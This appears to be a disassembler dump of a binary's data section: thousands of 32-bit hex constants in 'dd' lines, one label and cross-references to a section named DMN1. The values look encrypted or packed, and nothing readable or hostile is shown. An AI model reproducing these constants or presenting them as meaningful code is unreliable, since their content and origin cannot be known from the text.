dd 64A8F473h, 0AD35FBC6h, 0C92DFCA4h, 7F8CE27Eh, 9090E67Ah
dd 955D5286h, 7F244EBh, 0EB3A145h, 6D00076h, 0C55E597Ch
dd 363638FCh, 6713DEB6h, 0B8BB8C91h, 0E0D27BC8h, 0D81863A0h
dd 9759927Ah, 604E51A7h, 508B6DCFh, 0C2BD2456h, 5C3DDE50h
dd 0A33E20E6h, 361C65Dh, 0C1683F4Dh, 0D27698BBh, 0CDE6E5Eh
dd 396DF680h, 98CFC13Bh, 88395E5Fh, 0F8D23B93h, 424E818Eh
dd 984A4D84h, 0F4358B37h, 0C06D055h, 34551C7h, 8E9E0871h
dd 3E6C5596h, 466CA403h, 785B7E4Ah, 0BF06942h, 5911D811h
dd 4CD62551h, 2FE5AA9Fh, 19433AC1h, 7632FD5Fh, 0A49C3EAEh
dd 4CA20E9Dh, 48EF0E89h, 0D34068A6h, 4D328A28h, 1042B6ACh
dd 96B6F568h, 8AFB5C4Ch, 128F0B61h, 0D5164257h, 0E6DB75A1h
dd 1668A1A2h, 0A7F3C804h, 4E0A7663h, 4C5DC818h, 0C1490890h
dd 0B26B6443h, 6335EC2Dh, 0F1F338D5h, 8EFFAC21h, 9990DDF7h
dd 0DE3DA229h, 0C868114Fh, 130E2514h, 903D770Ah, 49E29C6Eh
dd 14918E01h, 5828BA6Ah, 0FD9DE579h, 0B2211F99h, 74F4E90h
dd 0C8461C46h, 447ACE29h, 8A7EE8C8h, 0D7A15AD7h, 64C29D2Ch
dd 8F1AC608h, 6D6B7DCEh, 4D3324A1h, 0A954E16Bh, 33B2DF04h
dd 0A85AB5CFh, 316A80CAh, 367357E8h, 0F32324EEh, 90A9A903h
dd 9CA3902Dh, 0CF30D95Fh, 0F82C476Ah, 0D070F04h, 1A5E58E9h
dd 73B7887Eh, 4A661CC0h, 5CB29ECAh, 817A3B77h, 0B8D186CFh
dd 0E0923114h, 0A60065h, 71179A16h, 0F6D7602Eh, 76632A6h
dd 60A1DC6Ch, 40FD652Ah, 0FEBD4D5Dh, 0F4CA6F61h, 2FD59B95h
dd 1D24166Bh, 0C313F82Fh, 6D2C8842h, 164CE6ACh, 819A2018h
dd 0F6F99EB7h, 6F0107A5h, 0C09DF5C0h, 0E6387DBEh, 0E2DC9F37h
dd 9D192FA8h, 0D82E1290h, 4907351Ah, 9A8505B5h, 4D949BC8h
dd 0AD11B51h, 70F3446Bh, 1CFDB0D8h, 0E6ABC6E0h, 0E976215Ch
dd 3FA8B113h, 90743044h, 0FEE49A90h, 1418D9FEh, 0ECA5A9F3h
dd 0B82A5F96h, 0E255A205h, 445C8E82h, 6C7EC72Dh, 52FFEE70h
dd 0AAB52D7Fh, 62EABD41h, 4F1B5966h, 650C3701h, 83075544h
dd 17C682CFh, 4123C94Bh, 2D4E5194h, 0EF486575h, 83466255h
dd 0C53C7C14h, 0C526D61Dh, 86DE67FDh, 63141D13h, 74AB1F3Bh
dd 4439B464h, 5A3AE0F8h, 0AB035AB2h, 0A136E68Ch, 0A61B74C2h
dd 7B09473h, 0D115E5DDh, 1F9AD382h, 0B0FEF0B3h, 7EEECEF3h
dd 0A630C27h, 9C46626h
dd 6CC90B51h, 35E10AFDh, 5D6A10F8h, 0B3036045h, 0AE7F99AEh
dd 9BCA6DB8h, 0C3CCA39Eh, 5D2395FBh, 0F240C9CCh, 35D60928h
dd 6DBE7136h, 0ECA9F37Ch, 30852121h, 0F3A05B65h, 3C6CC253h
dd 65153055h, 3155D7E0h, 9E903DAh, 6C5E31CBh, 72876D1Ah
dd 9B348CCh, 818E4CEh, 0C3C3262Eh, 0B68128D0h, 0DA190C5Ch
dd 67844368h, 0D23D55B6h, 9273ABF4h, 26D6CBA5h, 13B2EF27h
dd 19185A09h, 93A39F0Fh, 0D55FECEh, 51D90E66h, 7DD19EEFh
dd 0F1B61C92h, 0D1FC5409h, 0B5855927h, 956B8A27h, 5B1A26DFh
dd 391AE3FDh, 4CEC454Ah, 0ACE7C30h, 30642520h, 297651B9h
dd 83DF2D83h, 805CB9E8h, 0B3D60D0Fh, 351377A1h, 0C6DC63Fh
dd 73925FCh, 8CA78DD0h, 443679B7h, 36747E84h, 4E3165B1h
dd 0FC3B498Dh, 0CBCB3182h, 0FA54C5h, 34546A11h, 7217B580h
dd 48CB851Fh, 88349473h, 8D309CCAh, 0CDC467D8h, 40BB03DAh
dd 0EAE67AB7h, 0B1A5D612h, 3384A47Eh, 7D708F7h, 0C430BAFh
dd 0CA2E9091h, 54AB02AAh, 0F32587A8h, 936788EBh, 39B8D053h
dd 19D58F02h, 0EAE8A2C8h, 0E69AB6E2h, 0B727F52Bh, 0C5D85D2h
dd 2AF6D176h, 3E48B3D4h, 501A9E1Fh, 5DCC181Eh, 399E6E81h
dd 331222ABh, 0E5C14851h, 230C2925h, 0DF0EE4A5h, 0B1BC4A2Ah
dd 9DED9A13h, 9AEE42Dh, 0A963736Ch, 11577817h, 5A9BD350h
dd 0D7D5A647h, 84DDE64Ch, 0A90922E4h, 0A05CD9F9h, 13788E1h
dd 965CEBBDh, 0F11C2F28h, 0F79FAD0Eh, 8E93A44Bh, 7EF47578h
dd 0AD2339F5h, 5CEB75BAh, 376D245Fh, 0E48BC250h, 1DA3A9ABh
dd 2C935F58h, 26A53FB7h, 0C584F1F9h, 0F35DED8h, 66ECAD53h
dd 63434F2Ch, 0AB0CA5A0h, 864DF5F2h, 4C1E780Ch, 5A35D078h
dd 734CE543h, 0B06BE2Ch, 0A241CEB9h, 3FFBD6D4h, 0A753DB38h
dd 469D7966h, 0CE2D2DF4h, 1814A483h, 88B2030Fh, 73E48EBh
dd 8F15DE10h, 4B096B06h, 0D5B96E31h, 0F03AAD78h, 0B72F0AE3h
dd 43E7E68Bh, 34648DABh, 70120928h, 0F777E950h, 0A2AD23BFh
dd 5369696Fh, 0F7B60515h, 3D987516h, 71F6278Fh, 484228D7h
dd 0D339A30Ch, 42064DD0h, 0A7D04991h, 2148AB4Bh, 0A69DC22Fh
dd 0EE758FBAh, 766B7267h, 0BD769687h, 99237042h, 4435CD82h
dd 0BCFF6158h, 0BE5BA68Ch, 19012995h, 7314F8CBh, 0B4DC3B12h
dd 0AE8C5DB8h, 351AED22h, 2154D8A7h, 17B84801h, 4301DE65h
dd 0A3B3593Ch, 3B2BC48h, 2D5AE3AFh, 309861FCh, 0FB35B090h
dd 0EC50233Fh, 0E01D8DF0h, 3FBEDEB0h, 0B0B6D216h, 0ACDCE0F4h
dd 0C72544CAh, 0B292D7F0h, 0C0D9ABFAh, 5D004FE8h, 63B2D54Dh
dd 0FF472C1Ch, 41A0295Fh, 0A0CE375h, 28D741A9h, 0AEB95884h
dd 59BEA2DFh, 8F2FD1h, 9D263FA3h, 0A71DC874h, 5269B903h
dd 0A9E0FC12h, 8A0159CDh, 98885ADh, 0E5E0B9E0h, 81134BE8h
dd 77096E76h, 5B96E39h, 85281862h, 712E26E8h, 6562FD39h
dd 7CF17A57h, 6371AE6Dh, 1727C360h, 7F325428h, 8CA8EA71h
dd 0F6EA4CE8h, 0E53281CFh, 0E8D8BFC6h, 9AF9B5AEh, 0DB1A3413h
dd 511A75E4h, 93A89A1Dh, 294992D0h, 5DBFD72Fh, 0BC34FE51h
dd 0CED867Ah, 1B42FBE3h, 0C008151Bh, 41E8A9DAh, 0D10840D3h
dd 0A100D451h, 0E2DC6C70h, 12083692h, 2FE1F742h, 1FECB281h
dd 0D6D06FD7h, 5554E885h, 0ADD739B4h, 0E507DE9Bh, 2FB64DCBh
dd 98008C3Eh, 0F18E8163h, 0EFDA5047h, 9BD31DA2h, 3755F6F5h
dd 4F929C2Ah, 0B86598Fh, 411EABEEh, 0E0517B82h, 30B49B0Dh
dd 4E413881h, 0E8E4388Fh, 6E9BC113h, 8CEAFE4Fh, 0EDD86AA0h
dd 0F8C83893h, 8EB7DC8Eh, 0FAEF8A4Dh, 15C04401h, 84BDD7F7h
dd 0D76255CBh, 9D263FEAh, 48088368h, 7FDAB8CDh, 785B2559h
dd 30A388D1h, 286D76A7h, 0E6254877h, 0C49EDC18h, 47DD3CD3h
dd 0D55491DFh, 5C413ACEh, 50DFD814h, 630FE9C9h, 0E180F199h
dd 0B024757Ah
dword_455000 dd 73A68AB8h, 82FAF383h, 6C95A1CEh, 5DBCF3E8h, 93A5D78Fh
; DATA XREF: DMN1:00441C00o
; DMN1:004520D8o
dd 0C4427F80h, 0A7DA442Bh, 1D5FFAAh, 34CE3D17h, 5CE06D91h
dd 2FD01CD3h, 49EB6FF4h, 147359FDh, 378180EDh, 0D304E9D0h
dd 7223DC3Eh, 437DB157h, 25AFF1C9h, 1DCEBA54h, 6E12F30Ah
dd 7118B8C1h, 0C4FAD23Ah, 0E7BFA22Ch, 64A6660Eh, 0D0296162h
dd 0D9AF59ADh, 1686BB15h, 0DC0F8132h, 50D310F3h, 0A87A534h
dd 0B089DA1Eh, 32B93890h, 300B0836h, 396127D6h, 43D02F0Ch
dd 54A75501h, 74A7251Eh, 17C87659h, 0DA88493Bh, 0ED50ED8h
dd 6FE9D253h, 9C2CBECBh, 451855A0h, 12FA330Eh, 517187D1h
dd 0B4DD9408h, 0F5524FDh, 1A135D31h, 4C05D442h, 9DEBC268h
dd 0B7C5D892h, 0E4815C94h, 682D34CDh, 0C4B855Bh, 0A4BD95D9h
dd 0A3E5CEBFh, 6D9DAF1Ch, 0E2D09942h, 0A4E702h, 8BDA6DA0h
dd 42AE95B9h, 1F5BE810h, 8C1A8ED1h, 98BE75DBh, 79DCD922h
dd 0F9C58E84h, 0AA67EC1Ah, 711FF49Ch, 3722CC3Ch, 16C7EDD6h
dd 6D746712h, 0A14FBD47h, 6B05FE62h, 0B62FCBF2h, 417A4CC0h
dd 5DBF734Fh, 14C93423h, 1B5B006Dh, 0DB766123h, 7C3C53C2h
dd 9BA91ADBh, 36D377CDh, 496323A7h, 0CB57501Bh, 629D2EC9h
dd 0D40A35FBh, 7A23234Bh, 69099BDBh, 0D05C7B3Ch, 203B4F4Ah
dd 2ED6435Dh, 6C73595Ch, 0F89FA385h, 434B6660h, 0EDF0A4AFh
dd 81E339F9h, 58E279A1h, 2F0756A0h, 27212D6Bh, 80A52094h
dd 6D5AC58Fh, 0C262FCC0h, 0C13E07E5h, 4C709377h, 97B94CF8h
dd 1107C6C4h, 4586C5DAh, 757B6A84h, 29687A93h, 21ACD40Fh
dd 0FBA4DAAh, 32B429Bh, 1E630ADh, 879EAA6Ch, 0E434B408h
dd 4975DE05h, 78A3880Fh, 245307E7h, 0A4FB6C19h, 3AF5CE07h
dd 38674072h, 712873D2h, 0FADB085Ah, 2A06D0Ah, 0F3BFAC27h
dd 0A674161Fh, 378BFA90h, 0A4388A27h, 900C71AFh, 5E36707Eh
dd 0C8FC648Dh, 37E01B61h, 0A73A8AD4h, 0BEDC293Ah, 9515BF71h
dd 1082DFA8h, 535A097Eh, 0B694041Ah, 2D5517AAh, 4CB75ACCh
dd 15B4D8BEh, 0E6E880EDh, 0CB781ED0h, 5BD02972h, 346B55Dh
dd 0D92DB8A0h, 0E5842869h, 0F867365Eh, 7318C2B3h, 44EAAD04h
dd 5886A749h, 0F1A5F0F1h, 4D9A10BEh, 0BA2339C4h, 0DE27EF4Fh
dd 0F1F62FD9h, 5B2BC60h, 48182C54h, 0BD29DA1Bh, 7BE33907h
dd 0ABB02311h, 0EDD18DF3h, 9997BA6Ah, 973730FEh, 715BA663h
dd 0D9318049h, 0B790DC04h, 8510664Bh, 256C03Fh, 0F416DCC4h
dd 0BA733C40h, 9304C228h, 0C86B7B8Dh, 0D559D14Bh, 0B4CFB799h
dd 8689F120h, 1881EFC0h, 0EB71D383h, 486E5EC9h, 0B9917995h
dd 0CA5CAA1Ch, 2E529188h, 85FE9425h, 98BB90C3h, 34307992h
dd 0F87657BBh, 0E8B1FA19h, 1BA26D0Eh, 0A12A5C76h, 0E1D88AF8h
dd 72A487C2h, 61A6FFFFh, 5C4149A8h, 76583294h, 348C6120h
dd 3AEE1409h, 389F59D4h, 0FE9FC842h, 9577B0AEh, 0D0EDF023h
dd 0CDDF77ABh, 0E2170C6Eh, 0A25D09E4h, 0C4D58DE3h, 8C4C5BACh
dd 0A4EB002Ch, 27E0B7E3h, 6406DADBh, 16451A4Ch, 0F9A7368h
dd 26DFC52Fh, 0C2B2CD19h, 124FFFB9h, 417CC94Dh, 4FA02C3Ch
dd 20008CF2h, 3905998Eh, 0C44EB2C5h, 0CC42E525h, 6D79FFBBh
dd 0EE45E602h, 9DCD5946h, 64342427h, 6D0339FFh, 7FCFD9DCh
dd 0C65258B0h, 8F23D6E0h, 0DE022815h, 0A12AE632h, 1BFA7F78h
dd 63AD35A3h, 7A66204Bh, 9775465Fh, 9CD2C6D1h, 6AB0A74Fh
dd 540F347Ch, 0BE954F99h, 612A8FF2h, 307513BCh, 67CDEB64h
dd 4C0A7B1Fh, 622ACD97h, 9B5009F3h, 466DEF93h, 0D5F3220h
dd 0A25291C7h, 55FE94A3h, 6235BD88h, 783D74B0h, 3565EF98h
dd 8EB570C6h, 5A9C3E68h, 42C0431Ah, 33405361h, 0B007303Ah
dd 34D50924h, 0E87C7130h, 5F48707Dh, 0D2A909B5h, 4E181B61h
dd 0D35262DCh, 0B7440B29h, 0B6B854AEh, 9B9B4822h, 3B28FC75h
dd 0B50E6E1Ah, 2D402B44h, 0B8C0BB98h, 600AB645h, 87D4FA11h
dd 0AF585ED8h, 70A39BCEh, 2947295Dh, 91C7312h, 0E5891A85h
dd 1A54CC52h, 5FD89BD1h, 40F64E44h, 5BDDD387h, 6D5D105Eh
dd 7E82ECC1h, 34FB7856h, 0BA399075h, 443097B0h, 1296FAB9h
dd 4BE52573h, 644D0439h, 0B2117012h, 0C88C72C9h, 0CD2EDF2Dh
dd 0A421B455h, 9C8097F1h, 92D7AAB5h, 22F5FE79h, 0B4425B71h
dd 85D0C78Bh, 1459660Bh, 0E21F92C0h, 45874E87h, 3605447Ah
dd 43616DB1h, 2BED558Dh, 8484D501h, 7AC01DC0h, 5C3EE953h
dd 0A226D082h, 0B739A95Eh, 792860ACh, 0BB378D4Ah, 4BCE6FC0h
dd 8B599B0Ch, 55B227AAh, 0BA002A31h, 4F8FC0A8h, 0A93C48FDh
dd 3A23D90h, 0B13A539Eh, 67A42D3Dh, 5C2BCA50h, 1300E022h
dd 9AA45E54h, 3B63707Fh, 0B7355CF6h, 3BA1F49Eh, 32A36F57h
dd 0EFBDC955h, 0AD82B052h, 5A6AD9BEh, 0FB4F6C9Ch, 804B014Ah
dd 9E200DC0h, 0B2E9D773h, 81A703DBh, 70EA8D7Ch, 1BF2EC58h
dd 0EEAB796Eh, 0FB0E25C5h, 0F8749A17h, 0E4F78668h, 25585AB0h
dd 0DC95FC43h, 0ECA69BDFh, 17D5479Ch, 0BAFDE167h, 0C80C66D6h
dd 0F03B76B2h, 65176F67h, 630B024Ah, 5EFEA85Ch, 1E1EA529h
dd 0D92460D6h, 0F4AE8197h, 0D77C8611h, 80A724FEh, 1406E77Dh
dd 0E392A301h, 6EE47C30h, 0E754C059h, 0D86E1C10h, 35620A77h
dd 69B7F7EAh, 21431DC4h, 4571F6B7h, 7A15F84h, 0A9577D71h
dd 5E66B9C6h, 44785A1Bh, 0F0C9D8Ch, 0E87EB9B6h, 8AAAD3F0h
dd 48C723B9h, 3061EDEDh, 0CD263F3Eh, 3BB84F85h, 41717510h
dd 0FABC3C8Eh, 0F49DB072h, 837F5871h, 28CF1F0Bh, 0C452E91Fh
dd 5655AC47h, 0D99B160Bh, 75F8F558h, 44C5FFC2h, 93410A1Fh
dd 8C998F9Eh, 85056D89h, 5840F4DAh, 40C83DDAh, 88CA315Bh
dd 64D6614Fh, 6C808847h, 0FD6EE99Ch, 0D18D60Ah, 0D1BE32C1h
dd 331516D1h, 0B3923146h, 1BA61FEDh, 2481889Dh, 72902622h
dd 16BBECEFh, 0C9CF21B8h, 51F10834h, 9269C41Eh, 9041DBA7h
dd 0BB0E5AEBh, 5214DB8Ch, 852C9F78h, 0D7B4D783h, 19C417AFh
dd 468C5C28h, 4AA958F8h, 63C11387h, 2F5E4454h, 4A0850A9h
dd 2F33074Dh, 4C0224EEh, 53A92032h, 1A401217h, 30A9A5C6h
dd 32DB46F4h, 0BA8D0AB6h, 0D4F0B4EDh, 48E05CD1h, 953B92EBh
dd 5EF73F3Bh, 0CF2AE4B4h, 0EBEE81C7h, 0CC18928Eh, 5EC099C8h
dd 0ECD143F7h, 56F2A4BAh, 4C5DACDFh, 0E92FBF61h, 0E96730FAh
dd 0E481BC73h, 682AE49Bh, 8E675559h, 0B25371B4h, 0D5B6C58Dh
dd 46D126ADh, 778F3597h, 8E103CEh, 40CAB316h, 67D2D615h
dd 9C74E9C4h, 8DE734E7h, 30714EBAh, 7D7E4EEDh, 3F0A208Fh
dd 0D94E6170h, 5FE68EEBh, 7DBDF52Ah, 0E70634DEh, 0BFDF42D8h
dd 0E728EFA8h, 0C7BCE1D9h, 0C01ADD6Fh, 0F087D9D4h, 0C89353A4h
dd 15823156h, 0CAD38AC2h, 1E01681Ch, 646BFE43h, 0E9651BACh
dd 8C991D27h, 907B66B0h, 86220138h, 99C6A62Eh, 0FC707F6Eh
dd 972BAD84h, 2160A4BAh, 48981965h, 37C3CBDAh, 0F9534BE8h
dd 0A51F5FC3h, 0BFFEA898h, 6F9EA5C9h, 0EB6B2A77h, 583C69FAh
dd 148015BDh, 6B32CBAFh, 0D172D2ABh, 2AC02C39h, 0BD42C6E0h
dd 65F03A8Eh, 2F0AA57Ch, 0F6E24C88h, 6BE706EBh, 0CBEEF5C4h
dd 0D245D04Fh, 0F86EB993h, 4DF5DE8Eh, 0AFFD6188h, 1B0AA395h
dd 3EAD595Bh, 5D79CD56h, 0E798B91Fh, 48C0AABBh, 8584BDFAh
dd 84FAA199h, 0BBB8B5C4h, 146B6878h, 0C31A386Ah, 0F6BAC6A9h
dd 39B76h, 1AF42404h, 799D622Dh, 6755B8F1h, 6D242772h
dd 85C70FCBh, 7ACA6262h
dd 0E8804991h, 0FF7073h, 0BE2617A4h, 0E5DA529Dh, 8821E22Dh
dd 0BD9DF4D6h, 53C840DFh, 0D1DCFFBAh, 7A67F558h, 0C1A258E6h
dd 60CE64F3h, 14C1FF4Fh, 34617C27h, 0C17ECEDh, 0A4867023h
dd 77C9D6B1h, 0E94AEED6h, 362F933Fh, 1A5B9A29h, 6A222145h
dd 0F5D88A56h, 7615A2h, 1B91DF16h, 1EA519A5h, 84CC0D6h
dd 8C373AAAh, 0E6036973h, 19C8FD6Eh, 0CC527B07h, 2722D847h
dd 0A303325Bh, 0CFFCD116h, 83C2824Ch, 5534AF44h, 52C18B6Ch
dd 0AEB8514h, 2556D10Ah, 173FEF49h, 0EF9EF400h, 0A1C28388h
dd 4B22BF8Ah, 5F5D013Ah, 0F0AA142Ah, 0E39B6383h, 1678CD8Eh
dd 5E6AF465h, 30001AFDh, 527DC2AFh, 1F0FC91Eh, 0A2903B9Dh
dd 97030133h, 0B8868051h, 9A05B9Dh, 32432562h, 0FD1B95B5h
dd 2EF5326Bh, 0E56799B6h, 4B83DA84h, 0A2B02F61h, 58C4875Ah
dd 83EAD7DBh, 0E8942A53h, 0E39E32FDh, 324EDCD3h, 7981A629h
dd 3A927C07h, 0E9526191h, 40903CD9h, 0E4E9CE56h, 2426B628h
dd 90A042D8h, 53C0D5C6h, 0E808D6C5h, 0ED1C26F3h, 250D75F1h
dd 0A49529F3h, 0DADBE651h, 0AD6D4352h, 8766F1C7h, 7EC34858h
dd 16ACB381h, 0F57EF8C8h, 0B3D6B198h, 72D2786Fh, 71E68D27h
dd 0E2F5E2BEh, 87DC3789h, 8A3F6237h, 0C93A8818h, 0F051471Eh
dd 0F58EB47Bh, 270F4021h, 0C6D31076h, 0D29DA5D4h, 5ADB4332h
dd 0DA1CDE36h, 7D0B7DBFh, 0C1D2DB70h, 0D57EE34Eh, 8D42A574h
dd 0B8AAC6F5h, 92D03F4Eh, 0D71ACD65h, 181A1AEEh, 522FCDE4h
dd 60A00E40h, 859A9FA0h, 6C55A07Bh, 0A9137873h, 0A078B16Eh
dd 0BD63ECBh, 0AA7B419Bh, 0A3F0C72Eh, 0BE917C2Fh, 0B6C005ACh
dd 0D16C94A6h, 1DA31CB4h, 4E76C9AAh, 0F46B64E5h, 0D91A2472h
dd 33E3A18Eh, 9C7F8461h, 0DADB1B64h, 0E832E951h, 3FFAACC6h
dd 0A5642762h, 9EFACE64h, 8A6C2E25h, 0B20C5E72h, 8FAF7075h
dd 212385CAh, 0B454829Ch, 3D667532h, 0ECF68BC6h, 0FFAFA8C0h
dd 51C0D8D2h, 230AD963h, 4860C52Bh, 0AAAEC838h, 4D7EBA29h
dd 0EB4FA2C6h, 0C5ABDB02h, 33D7005Ch, 9B481D86h, 0F1CB90EEh
dd 0C9386E4Fh, 507AF194h, 6DA86442h, 19C430EBh, 7284728Ch
dd 0FE8D4E3Ah, 0F1846422h, 72096F49h, 0F6624859h, 16963880h
dd 0D50F58E2h, 0F5C6F8ACh, 165E78A8h, 3CC4A0BDh, 0C9A3C629h
dd 0D06B4CBCh, 0BBBB1B2Fh, 0EE04571Bh, 0A23DDF03h, 0E5238999h
dd 4F09BF78h, 27E2DCFCh, 3781F3Dh, 4A3F42FCh, 0B832E6C5h
dd 0DCDA1C69h, 8B206722h, 0BEE713F4h, 0A618C072h, 982AB392h
dd 0FFA4DFBh, 0A7F4BB4Dh, 8A4BC5D8h, 0B73F8A1Ah, 0AA1174A5h
dd 765B74D7h, 66165E9Ch, 0CEED9BEh, 360C1D9Ch, 1C662D89h
dd 2F7B8735h, 84067670h, 8C227C9Ah, 6F2A532Ch, 0C9A19B22h
dd 3D98F10Eh, 69C50FC4h, 9091499Fh, 93F21874h, 1BCB614Fh
dd 0FEE1E094h, 0BF3D8185h, 714CCB2Dh, 707807CFh, 0D5F45557h
dd 0C8979B0h, 87DCC11Ah, 5A61B9E7h, 0AE22FCA9h, 0E85DA755h
dd 0F03FA69Dh, 5F19081Ch, 64B9FE23h, 3957FF09h, 9190EF8h
dd 0E586BB59h, 0EED5F42Ch, 5FE6ADBDh, 0EF029764h, 0B8D4BDCBh
dd 9EA2EA87h, 0ECD7EEAAh, 98D3585Fh, 3503B526h, 8290CF1Dh
dd 3C9BE8E6h, 8614E43h, 3992CD5Eh, 845AC625h, 0C5C6BD3Bh
dd 0EC166E54h, 63222D6Fh, 42042020h, 0F53F0C3Dh, 1618E610h
dd 0B4EBBCFBh, 0F287AFA6h, 7C2B678Eh, 700D153Ah, 7BE47DFFh
dd 0C58D1D22h, 598504F4h, 5B9457F2h, 0F54E573Dh, 0E7ECB5F8h
dd 5C0D0A51h, 8EF2E3A6h, 0F43E7AB1h, 79E8D7B8h, 379FE531h
dd 0F5C65C0Ah, 2FEA81EBh, 0D9A6DE79h, 4FA6A686h, 80A04683h
dd 993493FAh, 0D43593BDh, 0C54D9FFCh, 3CF5FD94h, 91A0C204h
dd 51200FAh, 363C4944h, 40118F80h, 9ECC62FCh, 12B0F1Bh
dd 22376FACh, 564E131Ah, 814B95E1h, 0B5D0B7D2h, 0B70C8963h
dd 0EB61ED22h, 3C544B45h, 0B743F15Bh, 36DAA051h, 1BDA22C9h
dd 0DB563C53h, 0EF8D5C62h, 7041174Bh, 2EF30B27h, 0E5898F53h
dd 75A1DABFh, 7148DDBAh, 0D4F5D133h, 67E1E8C3h, 0DC002D32h
dd 0C7BB53D0h, 71B611A0h, 91FC4E11h, 0AA7528D4h, 0EA690861h
dd 829CF6Ch, 0C2B8A679h, 3AD7BC97h, 123E8227h, 2211CCCDh
dd 6BB72915h, 8ACC83D8h, 0B109513Ch, 0DBA8FF5Ah, 0E98608h
dd 1BF32BB4h, 0D523CA0Dh, 0EE220901h, 7AD17B7h, 0EDBD1E84h
dd 0A107A8F4h, 0CC206472h, 30D75413h, 0E1214923h, 0A2FDDD4Bh
dd 637FD42Eh, 32713B77h, 46B11308h, 6A449423h, 64D7CE97h
dd 0B3E2B12Bh, 9C0C2119h, 4501BB75h, 61D91D7Fh, 0ABD15F05h
dd 0AE4E71E5h, 0B4114C2Dh, 445BF8CBh, 62CC002Fh, 69610D6Ah
dd 7CB84ACBh, 7C5598BEh, 4142AC19h, 3E140B76h, 0D850DA86h
dd 0A7875C3Ah, 711048C1h, 934CF5A2h, 0EA629E2Dh, 8B1EB848h
dd 151E4A17h, 903EF555h, 5DAB3E6Dh, 9392269Dh, 473AD5CFh
dd 3EA2B1E4h, 70A0E886h, 8F4AF19Eh, 780E39B1h, 0AD7D4BE6h
dd 60F0CAC1h, 7AEC3008h, 0F8B65E9Ah, 0A0D4AACFh, 492697ABh
dd 0B00CC410h, 8FFEF7Bh, 0C1ECEEC4h, 5DE4C723h, 33F78CEBh
dd 4B9CA1E8h, 0DDC8F7E6h, 560414ACh, 2B16B871h, 5463AE53h
dd 0EB522C4Ch, 153ABB8Bh, 6F722D5Fh, 9B0A942Dh, 296742D8h
dd 69350B30h, 165D2223h, 0C17CAEE9h, 532F569Dh, 89985186h
dd 0A79212BCh, 787B31EDh, 342F480Bh, 819CF42Ah, 5384FB0Ch
dd 0BBC03BB1h, 0D55A28D3h, 0A84C0430h, 0A97106EFh, 4C895DF9h
dd 2AC1E356h, 82545869h, 85736D05h, 0FE51CBF3h, 26B0512Eh
dd 8CAFFDE0h, 314E92F4h, 9DCC86FCh, 0C8382502h, 393193C0h
dd 3E544B15h, 0E18DED00h, 0A671FBEEh, 9DE849F8h, 2D7913F2h
dd 5060FC32h, 760AE95Ah, 0C2A0E164h, 0BAE410DDh, 0AED50C27h
dd 0FA8A4A89h, 0C117D819h, 0A62CD58Eh, 0DC695CB2h, 0F8B286DFh
dd 0D91BE98Fh, 19D10C69h, 0F562A0D5h, 0E66D9F99h, 0C5E3019Bh
dd 5AF0BA4Ah, 1C88292Ch, 7C624F66h, 0A1933B5Fh, 91E3BA5Eh
dd 0AC4427C3h, 0C39482C6h, 295F5A16h, 0BF832B03h, 987B2CBCh
dd 58C47ADEh, 130BA710h, 22ABF2CBh, 0EB48C42Eh, 35D688D9h
dd 6E6A412h, 2975E8C5h, 589F9C2Eh, 3C995A67h, 7ADDFCAEh
dd 93563D5Ah, 8124BC84h, 89D64E3Ah, 0BE71CC89h, 36310241h
dd 3815BC1h, 696F4B18h, 1C87C24Ch, 0BEFBB100h, 23FF4444h
dd 4EF0CF56h, 252559CBh, 8C9EC100h, 2AA2079Bh, 26ACB849h
dd 0E426BC00h, 7FE9BE89h, 0D3C0A7E9h, 77EFA46Dh, 0E659BB16h
dd 41A56662h, 0C4D6E89h, 6D3481F9h, 6A422818h, 7E65E4Ch
dd 88B96A0Dh, 5ECAEB7Dh, 8C06498Ch, 0A9F28AA0h, 0DFBC0F29h
dd 0F5F0E83Ah, 42C39DB6h, 0C1AB58EFh, 885CFAh, 0AA1F029Dh
dd 0B66E0B54h, 93E65B1Dh, 2C36D0DEh, 6E7E72F3h, 54957580h
dd 1F3F562Fh, 65C16BFAh, 12E03CEBh, 0C2DB13E2h, 140D72DEh
dd 0A54EC50Dh, 0CFC8B11Eh, 28096A8Bh, 13EAB0A5h, 9672E195h
dd 9E16BAF7h, 8419A880h, 15D4CE5h, 49EFEC11h, 393158D9h
dd 33F64D5Ch, 2B5F1A41h, 0EF0BD81Ah, 0CBFDD199h, 0FBE548Dh
dd 5B677D0Ah, 94CC3DDCh, 0A82E2907h, 0F3553554h, 693B8EF5h
dd 6C3F548Ah, 0D5A58945h, 0E9AA463h, 700199D0h, 0F92063A4h
dd 1D9171A6h, 627A40AEh, 975CDC09h, 64BD873Ah, 0F852603h
dd 37303375h, 84773FCEh, 923D6D13h, 1D0121E2h, 0FBFEDC28h
dd 7EA4926Dh, 0DEB09E3Eh, 35DC1168h, 96186BC7h, 4C129050h
dd 912A3648h, 3A1F62F9h
dd 70513CCDh, 0D9D9DB9Fh, 0E970F38Ah, 6BE4D27Eh, 4FDC62h
dd 402B7A7Ch, 60822786h, 60EEE6F8h, 7BE9ED44h, 0BD3DAA8Eh
dd 1AF9A6BEh, 964422B3h, 0ADFDCBD2h, 93230F99h, 8ECF4411h
dd 0BC91D024h, 0C84A8230h, 73739AD6h, 0B0606276h, 99D5FDDCh
dd 15CAE0E7h, 277FBD46h, 0D9A5A393h, 28214E68h, 0F6D60250h
dd 0AF95644h, 0F2F6A85Eh, 76624F53h, 34A353C5h, 98D55418h
dd 0FAB375C7h, 7CAAED9h, 0EF0D3981h, 62DDE1BEh, 0F9632497h
dd 0C8899D26h, 9404BC9Ch, 81589D9Ah, 6B85F769h, 0E49442D4h
dd 23FAC6A5h, 0E980FDF4h, 73863A8Eh, 1A59ADE9h, 9E2C7D75h
dd 5C9D35EAh, 0AC2F2F04h, 61D2B64Bh, 2A059302h, 0B8A7FAEFh
dd 8BB8BCB8h, 8BBA3728h, 0FDDD4D5Bh, 0CF3796C8h, 0B321593Eh
dd 0D0740E9Dh, 69C38Ah, 0EF4B058Bh, 3993DBB1h, 2FA48B1Eh
dd 7D1EFB61h, 0EBDE4070h, 0D98BF63Dh, 0F5E93574h, 69DEE4C5h
dd 61B2D69Fh, 854E3E7Ah, 99EC12Dh, 0FF014B36h, 2857BF7Ah
dd 70E40F61h, 703571F3h, 4043A17Ah, 2DFB0B9Ah, 0EA452F41h
dd 0E3D840B0h, 0B48CF6C2h, 1E29829Fh, 0F8BC4767h, 902D25B3h
dd 5EB587BDh, 0FA4D9B27h, 7603B9AFh, 74A302CBh, 83D7B415h
dd 5902B38Fh, 9D8D1BD0h, 0C5AA1B41h, 50C386FCh, 0BE41C64Bh
dd 18732F3Eh, 2019FAF6h, 9D1C0740h, 69EDB920h, 9EA18E28h
